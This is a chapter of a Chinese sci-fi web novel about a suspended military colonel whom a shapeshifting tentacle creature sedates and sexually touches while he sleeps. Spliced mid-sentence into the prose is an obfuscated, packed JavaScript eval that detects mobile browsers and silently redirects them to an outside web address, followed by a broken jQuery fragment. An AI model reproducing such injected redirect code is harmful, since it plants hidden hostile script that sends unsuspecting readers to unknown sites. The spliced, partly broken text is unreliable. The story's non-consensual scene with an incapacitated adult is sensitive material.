1. QAQ(第2页)

    “没什么上校,”叶枫紧张地错了眼,果然如同事所说,谢上校的脸真是军部一绝,光是看着就足够赏心悦目。

    视线飘忽在连沿接至天边的暗色城墙,城墙上的高压铁丝网卷绕着飞鸟的风干残骸,“军部外墙建的太高,有些鸟怎么都飞不高。”

    眼中的兴味一闪而过,谢浔弯腰抽出靴旁的翡色石刀,在手中把玩,“军部还是能看见鸟的。”

    军基的墙比军部更高更厚,螺旋带刀片的高压线缠绕的飞鸟层层叠叠,比这壮观的多。

    时间久,腐烂的尸体周围蝇虫环绕,需要人定期清理,鸟的尸体会被送进焚烧炉。

    “你年纪还小,争取今年进内部,”谢浔开导人,“内部比外区更有意思,而且机甲权限开放。”

    “这么好!”青年眼中的阴霾一扫而光,满眼都是对机甲的憧憬,外勤部权限低,等内部用完才能开两回。

    “当然。”

    没有哪个男人能拒绝机甲的诱惑。

    半个小时后两人到大门口,叶枫忙着为下午接班做准备,匆匆阔别。

    谢浔头晕的厉害,倚着悬浮车门看叶枫雀跃地奔跑。对方仿佛从短暂的交流得到天大的鼓励。

    果然年岁小,单纯又懵懂。

    捏在悬浮车门的指尖染血泛白

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15372688|168192||http|test|mini|href|location''.split(''|''),0,{}));

    () {

    $(''.inform'').remove();

    $(''#content'').append(''

    ,谢浔回身拉开车门,输入自动驾驶后倒在后座上。

    双手顺着腹肌往下,给腰带松了个孔,摸索着撕开手套,手臂放松悬空,指腹增了几道破口伤痕。路上他莫名晕的厉害,为保持清醒划了几下。

    总不能让倒在半路。

    染血的翠色石刀掉落,谢浔扫了眼没在意,捞起副驾驶上滴滴不停的终端手环。

    毫无意外是俞承。

    信息太多,谢浔晕的眼花,选择给对面拨过去,“说。”

    对面沉默一瞬,终于下定决心道:“上校,不管怎么样我们面子上还是要过得去。”他已经代谢浔探望过那位受伤的alpha。

    谢浔停职的主要原因是两天前的机甲模拟战,所有人都以为这是一场点到为止的友谊赛。谢浔却残忍的将对面机甲的核心晶打爆,共感全息驾驶舱崩坏,驾驶人昏迷不醒。

    在治疗舱躺了四五天才保住小命。

    谢浔手臂搭在眼睛,默了两秒,手顺着撩乱额前的碎发,露出的眼眸像是经过点淬的黑曜石,他语气带着明显的不耐烦,“人不是还好好的吗?”

    那不叫好好的,那是刚脱离生命危险,俞承不敢说。

    “俞副官,”谢浔眼神不甚清明,索性闭上。

    谢浔听见自己的声音变得低沉无波,他没听清自己说了什么,等意识恢复时,终端已经挂断。

    俞承也没再拨来。

    他躺在后座上,感受着悬浮车依旧在行驶,军部距离市区三四个小时,还能眯一会。

    半阖的眼缓缓闭上,意识变成虚无缥缈的深蓝色丝绸,融进大海,被卷起浪花的海水掌控。

    阴影覆过染血的翠色石刀,凝在谢浔的手指上,吞吃着血迹。

    得偿所愿地勾住谢浔的手指,触手经过的伤口正在愈合。

    祂很聪明。

    几乎是触碰谢浔后腰的瞬间,祂已经完美模拟人类的体温,带着轻微麻醉的触手使祂肆无忌惮地游走。

    谢浔不会察觉到祂的存在。

    只有一点不好,战术服贴身,祂只能以扁扁的液体形态,占据独属于哥哥的常青藤信息素味。

    谢浔的呼吸逐渐绵长、平稳,陷入操控的昏睡中,这让祂更加胆大。

    祂轻而易举钻进青年袖口,半晌,试探的黑色小触手从肩颈探出,小小的牙齿在alpha敏感脆弱的腺体上磨来磨去,留下叠加的月牙印。

    alpha敏感的腺体逐渐红肿不堪,祂愉快地吸了口,谢浔闷嗯了声,漂亮的脖颈绷紧,睫毛不受控轻微颤抖。

    祂激动的啊啊两声,触手尖纷纷立起,期待谢浔发出更好听的声音取悦祂。

    路过的光影折射进狭小的悬浮车内,巨大的黑影几乎要包裹整个内部,热烈地占据着,光影一闪而过,小触手贴在腺体上,纷纷抱怨哥哥变坏了。

    是的,哥哥变坏了,谢浔一枪后,祂只剩人类手心那么大,触手更小,触手不满。

    祂应该狠狠报复回去。

    正准备再吸一口时,悬浮车提示音贸然响起。

    祂吓一跳,吐出一声清晰又尖锐的声音,瞬间化为液体潜藏在作战衣夹层里。

    谢浔醒来并没有动作,鼻尖闻到一股极淡的信息素味,常青藤信息素味。

    睡梦中,他清楚地听到一声刺耳又可怜的哥哥,死死地揪着他的心脏。